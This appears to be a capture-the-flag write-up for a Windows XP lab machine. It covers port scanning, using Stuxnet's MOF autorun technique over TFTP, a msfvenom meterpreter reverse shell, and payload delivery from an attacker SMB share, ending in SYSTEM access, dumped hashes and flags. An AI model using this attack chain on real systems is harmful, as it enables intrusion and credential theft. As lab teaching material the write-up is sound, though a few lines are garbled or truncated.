eks & rjhes
nmap -sV -sC -Pn -p 1-65535 -T5 --min-rate 1000 --max-retries 5 10.10.10.90
nmap scan found anything so with
masscan we searched for open TCP and UDP ports:
masscan -p1-65535,U:1-65535 10.10.10.90 --rate=2000 -e tun0
and we found out that there is only a single open port:
Starting masscan 1.0.4 (http://bit.ly/14GZzcT) at 2018-08-25 15:45:59 GMT
Usually the port 69 is binded to
tftp and using a stealthy
namp scan we can confirm this hypothesis
nmap -n -sS -sU -Pn -p 69 -T0 10.10.10.90
auxiliary/scanner/tftp/tftpbrute we didn’t found a single file so we didn’t know what to upload/download from the
We got a nudge in the right direction to check out Stuxnet malware and try to apply some exploit in this machine.
In a Stuxnet report we found how 5 possible entry point/exploits:
- Via WinCC Stuxnet searches for computers running Siemens WinCC, an interface to their SCADA systems. It connects using a password hardcoded into WinCC, and attacks its database using SQL commands to upload and start a copy of itself on the WinCC computer.
- Via network shares Stuxnet can use Windows shared folders to propagate itself over a local network. It places a dropper file on any shares on remote computers, and schedules a task to execute it. ESET says the task is scheduled to run the next day, whereas Symantec claims it is scheduled for two minutes after the file is shared.
- Via the MS10-061 print spooler 0-day vulnerability Stuxnet copies itself, places the copy on remote computers via this vulnerability, and then executes the copy, thereby infecting the remote machines. In brief, Stuxnet “prints” itself to two files in the
%system%directory on each target machine, using the 0-day privilege escalation. It th enexecutes the dropper file to infect the computer.
- Via the MS08-067 SMB vulnerability. If a remote computer has this vulnerability, Stuxnet can send a malformed path over SMB (a protocol for sharing files and other resources between computers); this allows it to execute arbitrary code on the remote machine, thereby propagating itself to it.
- Via Step7 Projects Stuxnet will infect Siemens SIMATIC Step7 industrial control projects that are opened on an infected computer. It does this by modifying DLLs (Windows Dynamic Link Library; a library of shared objects: code, data, and resources) and an
.exefile in the WinCC Simatic manager, so that they execute Stuxnet code as well. The additional code will insert Stuxnet into Step7 project directories.
A more detailed report is draft by Symantec.
5 are not applicable in our scenario so we focused on generating a malicious
Mof file and upload it via
tftp in the target machine.
We cannot use the metasploit module
exploit/windows/smb/ms10_061_spoolss since we do not have access to the service but we can generate the same
mof file to run arbitrary code using
tftp 10.10.10.90 69 -l -v -c put dodo.mof we didn’t get any ICMP packets even after some hours.
Poking around with
tftp we discovered that the root of the service is in
C:\ but we weren’t able to discover the user path for the flag.
We then tried to use
exploit/windows/fileformat/cve_2017_8464_lnk_rce to generate a malicious
LNK file with a meterpreter payload but we didn’t get any session.
tftp we can read some informations on the target OS like
get \Windows\System32\eula.txt eula.txt; this command got us the
EULA file and at the end of the text we can read:
The machine has an old Windows XP SP3 OS; same system used as target for Stuxnet.
From the Symantec report we found that Stuxnet uploaded the malicious
mof file in
Windows\System32\wbem\mof\sysnullevnt.mof (script to call
Windows\System32\winsta.exe) so we tried to
put the file inside the same folder.
Windows XP has the “ability” to autorun all
mof files inside the folder
C:\Windows\System32\wbem\mof\ so we can create a script to mount a share and call our binary with meterpreter.
From metasploit we get
wbemexec.rb to create the
mof file and edited to print the payload:
def generate_mof(mofname, exe)
It is possible to debug the script since we can
get Windows\System32\wbem\Logs\mofcomp.log mofcomp.log
(Sun Aug 26 10:27:19 2018.295296) : Parsing MOF file: C:\WINDOWS\system32\wbem\mof\dodo.mof
With the above ruby function we can call
generate_mof("dodo.mof", "cmd.exe /C ping 10.10.XX.XX") (
powershell doesn’t seems to be installed) and with
tftp 10.10.10.90 69 -v -c put dodo.mof "Windows\System32\wbem\mof\dodo.mof" we got some ICMPs.
msfvenom we created the
exe to get a meterpreter session.
msfvenom -p windows/meterpreter/reverse_tcp LHOST=$(ip addr show tun0 | grep -Po "inet \K[\d.]+") LPORT=3487 -f exe -o dodo.exe
And spawned a SMB server to share the folder using
smbserver.py DODO .; with this setup we can mount the share in
Z: (or any other available label) and then call the meterpreter stage.
generate_mof("dodo.mof", "cmd.exe /C net use Z: \\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\10.10.XX.XX\\\\\\\\\\\\\\\\DODO")
will create the mount point in
Z:. We need a lots of
\ since a single backslash can be ascaped with 4 backslashes and we needed to escape those chars from the ruby script too.
mof file is:
We can see that
DROPZONE machine connected to the share.
generate_mof("dodo.mof", "cmd.exe /C call Z:\\\\\\\\\\\\\\\\dodo.exe")
We got a session as
SYSTEM/NT user in a 32-bit Windows XP and got all user hashes. Moving to read all flags!
Since the last file states that we have to look some
ADS we used the tool
Stream to search for attached infos.
ADS (Alternate Data Streams) files were added to NTFS to support Macintosh Hierarchical File System (HFS) that uses resources forks to store informations. Those informations are not visible from the file content so tools are required to read the
After uploading the
streams.exe file into
DROPZONE machine we recursively searched for ADS and we got the flags.